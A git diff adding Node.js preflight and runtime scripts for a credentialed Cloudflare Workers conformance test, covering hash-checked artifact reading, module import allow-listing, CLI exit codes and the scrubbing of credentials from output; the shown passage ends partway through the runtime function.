diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs
new file mode 100644
index 00000000..f30500d4
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs
@@ -0,0 +1,369 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawnSync } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import { constants } from 'node:fs';
+import { open } from 'node:fs/promises';
+import { dirname, resolve } from 'node:path';
+import ts from 'typescript';
+import {
+  deriveDirectConformanceNames,
+  validateDirectConformanceConfig,
+} from './direct-credentialed-conformance-config.mjs';
+import { DIRECT_MAX_UPLOAD_BYTES } from './direct-credentialed-conformance-limits.mjs';
+
+export { DIRECT_MAX_UPLOAD_BYTES } from './direct-credentialed-conformance-limits.mjs';
+
+export const DIRECT_MANIFEST_MODULE = 'direct-run-manifest.js';
+
+const REFERENCE_CORE_MODULES = new Set(['crypto', 'async_hooks', 'buffer']);
+const TENANT_CORE_MODULES = new Set([
+  'stream',
+  'child_process',
+  'fs',
+  'path',
+  'crypto',
+  'os',
+  'fs/promises',
+  'module',
+  'stream/web',
+  'events',
+  'async_hooks',
+  'url',
+  'path/posix',
+  'string_decoder',
+]);
+
+function invalid(field) {
+  return new Error(`direct conformance preflight has invalid ${field}`);
+}
+
+function sha256(bytes) {
+  return createHash('sha256').update(bytes).digest('hex');
+}
+
+async function readBoundedFile(path, maximum, field) {
+  try {
+    const handle = await open(path, constants.O_RDONLY | constants.O_NONBLOCK);
+    try {
+      const stat = await handle.stat();
+      if (!stat.isFile() || stat.size < 1 || stat.size > maximum)
+        throw invalid(field);
+      const bytes = Buffer.alloc(stat.size);
+      let offset = 0;
+      while (offset < bytes.length) {
+        const { bytesRead } = await handle.read(
+          bytes,
+          offset,
+          bytes.length - offset,
+          offset,
+        );
+        if (bytesRead === 0) throw invalid(field);
+        offset += bytesRead;
+      }
+      const extra = await handle.read(Buffer.alloc(1), 0, 1, offset);
+      if (extra.bytesRead !== 0) throw invalid(field);
+      return bytes;
+    } finally {
+      await handle.close();
+    }
+  } catch {
+    throw invalid(`${field} file`);
+  }
+}
+
+function utf8(bytes, field) {
+  try {
+    return new TextDecoder('utf-8', { fatal: true, ignoreBOM: true }).decode(
+      bytes,
+    );
+  } catch {
+    throw invalid(`${field} UTF-8`);
+  }
+}
+
+/**
+ * The bracket-nesting ceiling both parsers below run under. Recursive-descent
+ * depth is what exhausts a stack, and the host's stack size is what decides
+ * when; bounding the depth here decides it for every host alike, so one
+ * artifact gets one verdict.
+ */
+const DIRECT_MAX_NESTING_DEPTH = 512;
+
+// A lexical count over the whole text, literal and comment content included: an
+// unbalanced bracket inside a string raises the reading and refuses the
+// artifact, which is the direction a gate fails in.
+function inspectNesting(text, field) {
+  let depth = 0;
+  for (const character of text) {
+    if (character === '(' || character === '[' || character === '{') {
+      depth += 1;
+      if (depth > DIRECT_MAX_NESTING_DEPTH) throw invalid(`${field} nesting`);
+    } else if (
+      (character === ')' || character === ']' || character === '}') &&
+      depth > 0
+    )
+      depth -= 1;
+  }
+}
+
+function inspectModule(text, reference, field, wasm) {
+  inspectNesting(text, field);
+  const syntax = spawnSync(
+    process.execPath,
+    ['--input-type=module', '--check'],
+    {
+      input: text,
+      env: {},
+      stdio: ['pipe', 'ignore', 'ignore'],
+      timeout: 30_000,
+    },
+  );
+  if (syntax.status !== 0) throw invalid(`${field} JavaScript`);
+  try {
+    inspectModuleStructure(text, reference, field, wasm);
+  } catch {
+    throw invalid(`${field} module inspection`);
+  }
+}
+
+function inspectModuleStructure(text, reference, field, wasm) {
+  const fileName = '/direct-artifact.js';
+  const source = ts.createSourceFile(
+    fileName,
+    text,
+    ts.ScriptTarget.ESNext,
+    true,
+    ts.ScriptKind.JS,
+  );
+  const host = {
+    getSourceFile: (name) => (name === fileName ? source : undefined),
+    getDefaultLibFileName: () => '/lib.d.ts',
+    writeFile: () => {},
+    getCurrentDirectory: () => '/',
+    getDirectories: () => [],
+    fileExists: (name) => name === fileName,
+    readFile: (name) => (name === fileName ? text : undefined),
+    getCanonicalFileName: (name) => name,
+    useCaseSensitiveFileNames: () => true,
+    getNewLine: () => '\n',
+  };
+  const program = ts.createProgram(
+    [fileName],
+    { allowJs: true, noResolve: true, noLib: true },
+    host,
+  );
+  if (program.getSyntacticDiagnostics(source).length !== 0)
+    throw invalid(`${field} syntax`);
+  const checker = program.getTypeChecker();
+  const symbol = checker.getSymbolAtLocation(source);
+  const exports = symbol
+    ? checker
+        .getExportsOfModule(symbol)
+        .map((entry) => entry.name)
+        .sort()
+    : [];
+  const expected = reference
+    ? ['default']
+    : ['Maintenance', 'Runner', 'default'];
+  if (JSON.stringify(exports) !== JSON.stringify(expected))
+    throw invalid(`${field} exports`);
+
+  let manifests = 0;
+  const wasmPaths = new Set(wasm.map(({ name }) => `./${name}`));
+  const coreModules = reference ? REFERENCE_CORE_MODULES : TENANT_CORE_MODULES;
+  const inspectImport = (specifier, declaration) => {
+    if (!specifier || !ts.isStringLiteralLike(specifier))
+      throw invalid(`${field} module dependency`);
+    if (reference && specifier.text === `./${DIRECT_MANIFEST_MODULE}`) {
+      if (
+        !declaration ||
+        !ts.isImportDeclaration(declaration) ||
+        !declaration.importClause?.name ||
+        declaration.importClause.namedBindings ||
+        declaration.attributes
+      )
+        throw invalid(`${field} manifest import`);
+      manifests += 1;
+    } else if (wasmPaths.has(specifier.text)) {
+      if (
+        !declaration ||
+        !ts.isImportDeclaration(declaration) ||
+        !declaration.importClause?.name ||
+        declaration.importClause.namedBindings ||
+        declaration.attributes
+      )
+        throw invalid(`${field} Wasm import`);
+    } else if (
+      specifier.text !== 'cloudflare:workers' &&
+      !coreModules.has(specifier.text.replace(/^node:/, ''))
+    ) {
+      throw invalid(`${field} module dependency`);
+    }
+  };
+  const pending = [source];
+  for (let node = pending.pop(); node; node = pending.pop()) {
+    if (ts.isExportDeclaration(node) && !node.exportClause)
+      throw invalid(`${field} star export`);
+    if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) {
+      if (node.moduleSpecifier) inspectImport(node.moduleSpecifier, node);
+    } else if (
+      ts.isCallExpression(node) &&
+      node.expression.kind === ts.SyntaxKind.ImportKeyword
+    ) {
+      if (node.arguments.length !== 1)
+        throw invalid(`${field} module dependency`);
+      if (ts.isStringLiteralLike(node.arguments[0]) || reference)
+        inspectImport(node.arguments[0]);
+    }
+    ts.forEachChild(node, (child) => {
+      pending.push(child);
+    });
+  }
+  if (reference && manifests !== 1) throw invalid(`${field} manifest import`);
+}
+
+function moduleSnapshot(name, source) {
+  return Object.freeze({
+    name,
+    source,
+    contentType: 'application/javascript+module',
+    byteLength: Buffer.byteLength(source),
+    sha256: sha256(source),
+  });
+}
+
+async function readArtifact(configDirectory, intent, reference, field) {
+  const bytes = await readBoundedFile(
+    resolve(configDirectory, intent.bundle),
+    DIRECT_MAX_UPLOAD_BYTES,
+    field,
+  );
+  if (sha256(bytes) !== intent.sha256) throw invalid(`${field} digest`);
+  const source = utf8(bytes, field);
+  const wasm = [];
+  let byteLength = bytes.byteLength;
+  for (const descriptor of intent.auxiliaryWasm ?? []) {
+    const binary = await readBoundedFile(
+      resolve(configDirectory, descriptor.file),
+      DIRECT_MAX_UPLOAD_BYTES - byteLength,
+      `${field} Wasm`,
+    );
+    if (sha256(binary) !== descriptor.sha256)
+      throw invalid(`${field} Wasm digest`);
+    if (!WebAssembly.validate(binary)) throw invalid(`${field} Wasm format`);
+    byteLength += binary.byteLength;
+    wasm.push(
+      Object.freeze({
+        name: descriptor.name,
+        base64: binary.toString('base64'),
+        contentType: 'application/wasm',
+        byteLength: binary.byteLength,
+        sha256: descriptor.sha256,
+      }),
+    );
+  }
+  inspectModule(source, reference, field, wasm);
+  return Object.freeze({
+    main: moduleSnapshot(intent.mainModule, source),
+    wasm: Object.freeze(wasm),
+  });
+}
+
+function runtimeFields(runtime) {
+  return {
+    compatibilityDate: runtime.compatibilityDate,
+    compatibilityFlags: runtime.compatibilityFlags,
+    cpuLimitMs: runtime.cpuLimitMs,
+    subrequestLimit: runtime.subrequestLimit,
+  };
+}
+
+export async function readDirectConformanceConfig(input) {
+  let configPath;
+  try {
+    configPath = resolve(input.configPath);
+  } catch {
+    throw invalid('config path');
+  }
+  const configBytes = await readBoundedFile(configPath, 256 * 1024, 'config');
+  let parsed;
+  try {
+    parsed = JSON.parse(utf8(configBytes, 'config'));
+  } catch {
+    throw invalid('config JSON');
+  }
+  const config = validateDirectConformanceConfig(parsed, { now: input.now });
+  return Object.freeze({ configPath, configBytes, config });
+}
+
+export async function preflightDirectConformance(input) {
+  const { configPath, configBytes, config } =
+    await readDirectConformanceConfig(input);
+  const names = deriveDirectConformanceNames(config);
+  const configDirectory = dirname(configPath);
+  const reference = await readArtifact(
+    configDirectory,
+    config.referenceWorker.artifact,
+    true,
+    'reference artifact',
+  );
+  const tenant = await readArtifact(
+    configDirectory,
+    config.deployment.artifact,
+    false,
+    'tenant artifact',
+  );
+  const configSha256 = sha256(configBytes);
+  const manifest = Object.freeze({
+    contractVersion: config.contractVersion,
+    configSha256,
+    resourcePrefix: config.resourcePrefix,
+    environment: config.environment,
+    names,
+    referenceRuntime: Object.freeze({
+      ...runtimeFields(config.referenceWorker),
+      requestTimeoutMs: config.referenceWorker.requestTimeoutMs,
+      invocationTimeoutMs: config.referenceWorker.invocationTimeoutMs,
+      maxProviderRequests: config.referenceWorker.maxProviderRequests,
+      maxInvocations: config.referenceWorker.maxInvocations,
+    }),
+    deploymentRuntime: Object.freeze(runtimeFields(config.deployment)),
+    tenantModule: tenant.main,
+    tenantWasm: tenant.wasm,
+    fixtureVersion: config.deployment.spec.fixtureVersion,
+    interruption: config.interruption,
+  });
+  const manifestModule = moduleSnapshot(
+    DIRECT_MANIFEST_MODULE,
+    `export default ${JSON.stringify(manifest)};\n`,
+  );
+  const referenceModules = Object.freeze([
+    reference.main,
+    manifestModule,
+    ...reference.wasm,
+  ]);
+  const referenceUploadBytes = referenceModules.reduce(
+    (sum, module) => sum + module.byteLength,
+    0,
+  );
+  if (referenceUploadBytes > DIRECT_MAX_UPLOAD_BYTES)
+    throw invalid('reference upload size');
+  const moduleTable = referenceModules.map(
+    ({ name, contentType, byteLength, sha256 }) => ({
+      name,
+      contentType,
+      byteLength,
+      sha256,
+    }),
+  );
+  return Object.freeze({
+    config,
+    names,
+    configSha256,
+    manifest,
+    referenceModules,
+    referenceUploadBytes,
+    referenceModuleSetSha256: sha256(JSON.stringify(moduleTable)),
+  });
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts
new file mode 100644
index 00000000..efd4273b
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.d.mts
@@ -0,0 +1,134 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { bootstrapDirectConformance } from './direct-credentialed-bootstrap.mjs';
+import type { preflightDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import type {
+  DirectLiveMode,
+  writeDirectEvidence,
+} from './direct-credentialed-evidence.mjs';
+import type {
+  inspectDirectRunState,
+  openDirectRunState,
+} from './direct-credentialed-run-state.mjs';
+import type { runDirectCredentialedScenario } from './direct-credentialed-scenario.mjs';
+import type { teardownDirectReference } from './direct-credentialed-teardown.mjs';
+
+export interface DirectConformanceModules {
+  preflight: typeof preflightDirectConformance;
+  openRunState: typeof openDirectRunState;
+  inspectRunState: typeof inspectDirectRunState;
+  bootstrap: typeof bootstrapDirectConformance;
+  scenario: typeof runDirectCredentialedScenario;
+  teardown: typeof teardownDirectReference;
+  writeEvidence: typeof writeDirectEvidence;
+  distPresent: () => boolean;
+}
+export type DirectConformanceMode = 'preflight' | 'run' | 'resume' | 'help';
+export const DIRECT_CONFORMANCE_MODES: readonly DirectConformanceMode[];
+export const DIRECT_LIVE_MODES: readonly DirectLiveMode[];
+export function isDirectLiveMode(
+  mode: DirectConformanceMode | null,
+): mode is DirectLiveMode;
+export const DIRECT_CREDENTIAL_VARIABLES: readonly string[];
+export const DIRECT_ADMISSION_VARIABLES: readonly string[];
+export const DIRECT_CONFORMANCE_CODES: Readonly<{
+  belowScenarioFloor: 'below-scenario-floor';
+  distMissing: 'dist-missing';
+  evidenceFailed: 'evidence-failed';
+  internalError: 'internal-error';
+  invalidInput: 'invalid-input';
+  preflightFailed: 'preflight-failed';
+  usage: 'usage';
+}>;
+export type DirectConformanceCode =
+  (typeof DIRECT_CONFORMANCE_CODES)[keyof typeof DIRECT_CONFORMANCE_CODES];
+export const DIRECT_CONFORMANCE_EXIT_CODES: Readonly<{
+  success: 0;
+  failed: 1;
+  invalidInput: 2;
+  restartRequired: 3;
+  retained: 4;
+  evidenceFailed: 5;
+}>;
+export type DirectConformanceExitCode =
+  (typeof DIRECT_CONFORMANCE_EXIT_CODES)[keyof typeof DIRECT_CONFORMANCE_EXIT_CODES];
+export const DIRECT_CONFORMANCE_USAGE: string;
+export const DIRECT_OUTPUT_PREFIX: string;
+export const DIRECT_USAGE_DIAGNOSTIC: string;
+export const DIRECT_INTERNAL_ERROR_DIAGNOSTIC: string;
+export const DIRECT_FIXED_OUTPUT: readonly string[];
+export function parseDirectConformanceArgs(
+  argv: readonly string[],
+): DirectConformanceMode | null;
+export function directLineCarries(
+  line: string,
+  values: readonly (string | undefined)[],
+): boolean;
+/**
+ * The bytes a result renders on stdout: the summary line, or the empty string
+ * where the safe rendering is silence.
+ */
+export function directStdoutOf(result: DirectConformanceResult): string;
+export function directWritesStderr(result: DirectConformanceResult): boolean;
+/**
+ * Resolves one process exit code from several. `evidenceFailed` ranks above
+ * `failed`, which ranks above every other code, so a late failure replaces the
+ * `restartRequired` or `retained` code a run had already reached.
+ */
+export function resolveDirectExitCode(
+  current: number | null,
+  next: number,
+): number;
+/**
+ * The summary a run resolves. `code` is one of `DIRECT_CONFORMANCE_CODES` when
+ * the runtime minted it, and the refusal's own code when a run-state or
+ * bootstrap error carried one.
+ */
+export type DirectConformanceSummary = Readonly<{
+  code?: string;
+  variable?: string;
+  evidenceWritten?: boolean;
+}> &
+  Readonly<Record<string, unknown>>;
+/**
+ * The two shapes a run resolves to.
+ *
+ * `stdoutLine` and `stderrLine` are the only members a caller writes: each is
+ * scanned against the run's credentials and the forbidden literals, and is
+ * `null` where the safe rendering is silence. `summary` is the same content
+ * parsed back and carries bytes those lines withhold, so it belongs in an
+ * assertion or a log the operator already trusts, never on a stream.
+ *
+ * The second member is live-mode admission, which refuses on stderr alone: it
+ * exits 2, prints no summary, and its stderr line is one of
+ * `DIRECT_FIXED_OUTPUT` or `null`.
+ */
+export type DirectConformanceResult =
+  | Readonly<{
+      exitCode: DirectConformanceExitCode;
+      summary: DirectConformanceSummary;
+      evidencePath: string | null;
+      stdoutLine: string | null;
+      stderrLine: string | null;
+      stderrOnly?: undefined;
+    }>
+  | Readonly<{
+      exitCode: 2;
+      summary: DirectConformanceSummary;
+      evidencePath: null;
+      stdoutLine: null;
+      stderrLine: string | null;
+      stderrOnly: true;
+    }>;
+export function runDirectConformance(
+  input: Readonly<{
+    mode: DirectConformanceMode;
+    configPath: string | undefined;
+    env: Readonly<Record<string, string | undefined>>;
+    fetch?: typeof fetch;
+    delay?: (milliseconds: number) => Promise<void>;
+    now?: () => number;
+    git?: () => string | null;
+    modules?: Partial<DirectConformanceModules>;
+  }>,
+): Promise<DirectConformanceResult>;
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs
new file mode 100644
index 00000000..06f8c6c1
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-runtime.mjs
@@ -0,0 +1,638 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawnSync } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { dirname, join, resolve } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import {
+  bootstrapDirectConformance,
+  DirectBootstrapError,
+} from './direct-credentialed-bootstrap.mjs';
+import { preflightDirectConformance } from './direct-credentialed-conformance-preflight.mjs';
+import {
+  buildDirectEvidence,
+  DIRECT_CONFORMANCE_COMMANDS,
+  DIRECT_EVIDENCE_KEYS,
+  DIRECT_EVIDENCE_LITERALS,
+  DirectEvidenceWriteError,
+  inspectDirectEvidence,
+  writeDirectEvidence,
+} from './direct-credentialed-evidence.mjs';
+import { validateProviderAuth } from './direct-credentialed-provider.mjs';
+import {
+  DIRECT_RUN_TIMESTAMP,
+  DirectRunStateError,
+  inspectDirectRunState,
+  openDirectRunState,
+} from './direct-credentialed-run-state.mjs';
+import { runDirectCredentialedScenario } from './direct-credentialed-scenario.mjs';
+import { DIRECT_SCENARIO_MIN_INVOCATIONS } from './direct-credentialed-scenario-budget.mjs';
+import { teardownDirectReference } from './direct-credentialed-teardown.mjs';
+
+const packageDirectory = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+export const DIRECT_CONFORMANCE_USAGE =
+  'Usage: pnpm fleet-control:credentialed:direct -- [--preflight|--run|--resume|--help]';
+export const DIRECT_OUTPUT_PREFIX = 'DIRECT_CONFORMANCE ';
+/**
+ * The summary codes this runtime mints. A run-state or bootstrap refusal
+ * reaches the summary carrying its own code instead.
+ */
+export const DIRECT_CONFORMANCE_CODES = Object.freeze({
+  belowScenarioFloor: 'below-scenario-floor',
+  distMissing: 'dist-missing',
+  evidenceFailed: 'evidence-failed',
+  internalError: 'internal-error',
+  invalidInput: 'invalid-input',
+  preflightFailed: 'preflight-failed',
+  usage: 'usage',
+});
+/**
+ * The process exit codes the CLI resolves. `evidenceFailed` means the run's
+ * evidence file or its summary line was not published, whichever came first.
+ */
+export const DIRECT_CONFORMANCE_EXIT_CODES = Object.freeze({
+  success: 0,
+  failed: 1,
+  invalidInput: 2,
+  restartRequired: 3,
+  retained: 4,
+  evidenceFailed: 5,
+});
+/** The modes that reach the provider and therefore carry credentials. */
+export const DIRECT_LIVE_MODES = Object.freeze(['run', 'resume']);
+export const DIRECT_CONFORMANCE_MODES = Object.freeze([
+  'preflight',
+  ...DIRECT_LIVE_MODES,
+  'help',
+]);
+/** The environment variables that carry a credential. */
+export const DIRECT_CREDENTIAL_VARIABLES = Object.freeze([
+  'CLOUDFLARE_API_TOKEN',
+  'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+]);
+/**
+ * The variables live-mode admission validates. `CLOUDFLARE_ACCOUNT_ID` is
+ * admitted here and absent from `DIRECT_CREDENTIAL_VARIABLES`: it names an
+ * account rather than authenticating to it.
+ */
+export const DIRECT_ADMISSION_VARIABLES = Object.freeze([
+  'CLOUDFLARE_ACCOUNT_ID',
+  ...DIRECT_CREDENTIAL_VARIABLES,
+]);
+const codes = DIRECT_CONFORMANCE_CODES;
+const exits = DIRECT_CONFORMANCE_EXIT_CODES;
+/** The one shape every line below carries: the summary's JSON text, newline-terminated. */
+const fixedLineOf = (summary) => `${JSON.stringify(summary)}\n`;
+const prefixed = (stderrLine) => `${DIRECT_OUTPUT_PREFIX}${stderrLine}`;
+const evidenceFailureSummary = (evidenceWritten, hit) =>
+  Object.freeze({ code: codes.evidenceFailed, ...hit, evidenceWritten });
+const usageSummary = Object.freeze({ code: codes.usage });
+const internalErrorSummary = Object.freeze({ code: codes.internalError });
+export const DIRECT_USAGE_DIAGNOSTIC = fixedLineOf(usageSummary);
+export const DIRECT_INTERNAL_ERROR_DIAGNOSTIC =
+  fixedLineOf(internalErrorSummary);
+const evidenceFailureLine = (evidenceWritten) => {
+  const stderrLine = fixedLineOf(evidenceFailureSummary(evidenceWritten));
+  return Object.freeze({ stdoutLine: prefixed(stderrLine), stderrLine });
+};
+const evidenceFailureLines = Object.freeze({
+  false: evidenceFailureLine(false),
+  true: evidenceFailureLine(true),
+});
+const invalidInputLines = Object.freeze(
+  Object.fromEntries(
+    DIRECT_ADMISSION_VARIABLES.map((variable) => [
+      variable,
+      fixedLineOf({ code: codes.invalidInput, variable }),
+    ]),
+  ),
+);
+/**
+ * The lines the CLI can print without reading a run value: every member is
+ * `fixedLineOf` over a summary this module's own constants build. A silent exit
+ * 2 means a credential collides with one of them, so the refusal's own
+ * diagnostic would carry it. The suppression is wider than this list: in a live
+ * mode the entry scans every line it writes, its usage line and its
+ * internal-error diagnostic included, and the runtime scans every line it
+ * builds from a run value against the same credentials.
+ */
+export const DIRECT_FIXED_OUTPUT = Object.freeze([
+  ...Object.values(evidenceFailureLines).flatMap((lines) =>
+    Object.values(lines),
+  ),
+  DIRECT_USAGE_DIAGNOSTIC,
+  DIRECT_INTERNAL_ERROR_DIAGNOSTIC,
+  ...Object.values(invalidInputLines),
+]);
+
+export function parseDirectConformanceArgs(argv) {
+  const args = argv[0] === '--' ? argv.slice(1) : argv;
+  if (args.length === 0) return 'preflight';
+  if (
+    args.length === 1 &&
+    DIRECT_CONFORMANCE_MODES.map((mode) => `--${mode}`).includes(args[0])
+  )
+    return args[0].slice(2);
+  return null;
+}
+
+export function isDirectLiveMode(mode) {
+  return DIRECT_LIVE_MODES.includes(mode);
+}
+
+/** Whether a line the CLI would write carries one of `values`. */
+export function directLineCarries(line, values) {
+  return values.some(
+    (value) =>
+      typeof value === 'string' && value.length > 0 && line.includes(value),
+  );
+}
+
+/**
+ * The bytes a result renders on stdout: the summary line, or none where the
+ * safe rendering is silence.
+ */
+export function directStdoutOf(result) {
+  return result.stdoutLine ?? '';
+}
+
+/**
+ * Whether the entry copies a result's stderr line to its own stderr. The
+ * stderr-only refusal exits 2, so its own exit code already selects it.
+ */
+export function directWritesStderr(result) {
+  return (
+    result.stderrLine !== null &&
+    result.exitCode !== exits.success &&
+    result.exitCode !== exits.restartRequired
+  );
+}
+
+export function resolveDirectExitCode(current, next) {
+  const rank = (code) =>
+    code === exits.evidenceFailed ? 2 : code === exits.failed ? 1 : 0;
+  return current === null || rank(next) > rank(current) ? next : current;
+}
+
+function gitCommit(env) {
+  const result = spawnSync('git', ['rev-parse', 'HEAD'], {
+    cwd: packageDirectory,
+    env: { PATH: env.PATH },
+    timeout: 2000,
+    encoding: 'utf8',
+    stdio: ['ignore', 'pipe', 'ignore'],
+  });
+  return result.status === 0 && result.signal === null
+    ? result.stdout.trim()
+    : null;
+}
+
+function commitFrom(read) {
+  try {
+    const value = read();
+    return typeof value === 'string' && /^[0-9a-f]{40}$/u.test(value)
+      ? value
+      : null;
+  } catch {
+    return null;
+  }
+}
+
+function validEnvironment(value) {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value === value.trim() &&
+    ![...value].some(
+      (character) =>
+        character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127,
+    )
+  );
+}
+
+// A clock the projection cannot use raises here, inside the evidence path, so
+// the run reports `evidence-failed` for it.
+function timestamp(now) {
+  const value = now();
+  if (!Number.isSafeInteger(value) || value < 0)
+    throw new Error(codes.internalError);
+  const time = new Date(value).toISOString();
+  if (!DIRECT_RUN_TIMESTAMP.test(time)) throw new Error(codes.internalError);
+  return time;
+}
+
+export async function runDirectConformance(input) {
+  const modules = {
+    preflight: preflightDirectConformance,
+    openRunState: openDirectRunState,
+    inspectRunState: inspectDirectRunState,
+    bootstrap: bootstrapDirectConformance,
+    scenario: runDirectCredentialedScenario,
+    teardown: teardownDirectReference,
+    writeEvidence: writeDirectEvidence,
+    distPresent: () => existsSync(join(packageDirectory, 'dist', 'index.js')),
+    ...input.modules,
+  };
+  const now = input.now ?? Date.now;
+  // Secrets join the sentinel list once the run needs them: `--help` and
+  // `--preflight` complete without reading a credential, so the summaries they
+  // return are scanned against the literals alone. The entry arms its own guard
+  // for those returns in live modes. The bag is replaced rather than mutated,
+  // so every reader sees a complete, immutable list.
+  let sentinels = Object.freeze({
+    secrets: Object.freeze([]),
+    literals: DIRECT_EVIDENCE_LITERALS,
+  });
+  const byteHit = (line) =>
+    directLineCarries(line, [...sentinels.secrets, ...sentinels.literals]);
+  let evidencePath = null;
+  let evidenceWritten = false;
+  const result = (
+    exitCode,
+    summary,
+    evidencePathReported = null,
+    // The fixed line an admission refusal prints, handed over by the branch
+    // that refuses. A refusal supplies one and prints no stdout summary; the
+    // line travels with the refusal, so no table lookup can miss here.
+    fixedLine = null,
+  ) => {
+    const stderrOnly = fixedLine !== null;
+    const inspect = (value) => {
+      const inspected = inspectDirectEvidence(value, sentinels);
+      return {
+        hit: inspected.hit,
+        stdoutLine: prefixed(inspected.serialized),
+        stderrLine: inspected.serialized,
+      };
+    };
+    let lines = inspect(summary);
+    summary = JSON.parse(lines.stderrLine);
+    if (!stderrOnly && lines.hit) {
+      exitCode = exits.evidenceFailed;
+      summary = evidenceFailureSummary(
+        evidenceWritten,
+        summary.code === codes.evidenceFailed ? undefined : lines.hit,
+      );
+      lines = inspect(summary);
+    }
+    if (!stderrOnly && Buffer.byteLength(lines.stdoutLine) > 4096) {
+      // A summary too large to print is replaced by a fixed one; the run keeps
+      // the exit code it resolved, so the line reports the size fault and the
+      // code still reports the run.
+      lines = inspect(
+        exitCode === exits.evidenceFailed
+          ? evidenceFailureSummary(evidenceWritten)
+          : internalErrorSummary,
+      );
+    }
+    if (stderrOnly) {
+      lines = {
+        stdoutLine: null,
+        stderrLine:
+          lines.hit || byteHit(fixedLine) || Buffer.byteLength(fixedLine) > 4096
+            ? null
+            : fixedLine,
+      };
+    } else if (lines.hit || byteHit(lines.stdoutLine)) {
+      exitCode = exits.evidenceFailed;
+      lines = evidenceFailureLines[evidenceWritten];
+    }
+    return {
+      exitCode,
+      summary: lines.stderrLine ? JSON.parse(lines.stderrLine) : summary,
+      evidencePath: evidencePathReported,
+      stdoutLine: lines.stdoutLine,
+      stderrLine: lines.stderrLine,
+      ...(stderrOnly ? { stderrOnly: true } : {}),
+    };
+  };
+  if (!DIRECT_CONFORMANCE_MODES.includes(input.mode))
+    return result(exits.invalidInput, usageSummary);
+  if (input.mode === 'help')
+    return result(exits.success, { usage: DIRECT_CONFORMANCE_USAGE });
+  if (!validEnvironment(input.configPath))
+    return result(exits.invalidInput, {
+      code: codes.invalidInput,
+      variable: 'FLEET_DIRECT_CONFORMANCE_CONFIG',
+    });
+  let prepared;
+  try {
+    prepared = await modules.preflight({
+      configPath: input.configPath,
+      now: now(),
+    });
+  } catch {
+    return result(exits.invalidInput, { code: codes.preflightFailed });
+  }
+  if (input.mode === 'preflight')
+    return result(exits.success, {
+      configSha256: prepared.configSha256,
+      referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+      referenceUploadBytes: prepared.referenceUploadBytes,
+      names: prepared.names,
+    });
+  sentinels = Object.freeze({
+    secrets: Object.freeze(
+      DIRECT_CREDENTIAL_VARIABLES.map((variable) => input.env[variable]).filter(
+        (value) => typeof value === 'string' && value.length > 0,
+      ),
+    ),
+    literals: DIRECT_EVIDENCE_LITERALS,
+  });
+  // Each variable is admitted beside the diagnostic its refusal prints, so the
+  // line is carried rather than looked up and the two can never disagree.
+  for (const [variable, fixedLine] of Object.entries(invalidInputLines)) {
+    try {
+      if (!validEnvironment(input.env[variable]))
+        throw new Error(codes.invalidInput);
+      if (DIRECT_CREDENTIAL_VARIABLES.includes(variable)) {
+        validateProviderAuth(input.env[variable]);
+        // The third reason this refusal covers: the credential collides with a
+        // line the CLI can print, or with a key the evidence artifact carries,
+        // either of which the scan answers by withholding output at the end of
+        // a live run. The scan compares array elements by their index, so a
+        // credential of digits alone collides too. The credential changes
+        // rather than the environment that supplies it.
+        if (
+          DIRECT_FIXED_OUTPUT.some((output) =>
+            output.includes(input.env[variable]),
+          ) ||
+          DIRECT_EVIDENCE_KEYS.some((key) =>
+            key.includes(input.env[variable]),
+          ) ||
+          /^\d+$/u.test(input.env[variable])
+        )
+          throw new Error(codes.invalidInput);
+      }
+    } catch {
+      return result(
+        exits.invalidInput,
+        { code: codes.invalidInput, variable },
+        null,
+        fixedLine,
+      );
+    }
+  }
+  let journal;
+  let inspection;
+  let outcome = {
+    status: 'failed',
+    exitCode: exits.failed,
+    teardownCall: null,
+  };
+  let code;
+  let detail;
+  let invocationFailureDetail;
+  let summary;
+  try {
+    if (!modules.distPresent())
+      return result(exits.invalidInput, {
+        code: codes.distMissing,
+        command: 'pnpm build',
+      });
+    if (
+      prepared.config.referenceWorker.maxInvocations <
+      DIRECT_SCENARIO_MIN_INVOCATIONS
+    )
+      return result(exits.invalidInput, { code: codes.belowScenarioFloor });
+    const stateInput = {
+      configPath: input.configPath,
+      prepared,
+      accountId: input.env.CLOUDFLARE_ACCOUNT_ID,
+    };
+    try {
+      journal = await modules.openRunState({
+        ...stateInput,
+        mode: input.mode,
+        now: now(),
+      });
+    } catch (error) {
+      if (
+        input.mode !== 'resume' ||
+        !(error instanceof DirectRunStateError) ||
+        error.code !== 'outcome-unknown'
+      )
+        throw error;
+      inspection = await modules.inspectRunState({
+        ...stateInput,
+        mode: 'inspect',
+      });
+      outcome = {
+        status: 'outcome-unknown',
+        exitCode: exits.failed,
+        teardownCall: null,
+      };
+      code = 'outcome-unknown';
+    }
+    if (journal) {
+      if (input.mode === 'resume') await journal.recordResume();
+      const snapshot = journal.snapshot();
+      // A settled teardown leaves nothing to drive, so the run is
+      // evidence-only.
+      if (
+        snapshot.teardown?.phase === 'complete' &&
+        snapshot.teardown.failure === null
+      ) {
+        outcome = {
+          status: 'cleaned',
+          exitCode: exits.success,
+          teardownCall: null,
+        };
+      } else {
+        const networkInput = {
+          prepared,
+          journal,
+          apiToken: input.env.CLOUDFLARE_API_TOKEN,
+          ...(input.fetch ? { fetch: input.fetch } : {}),
+        };
+        let restart = false;
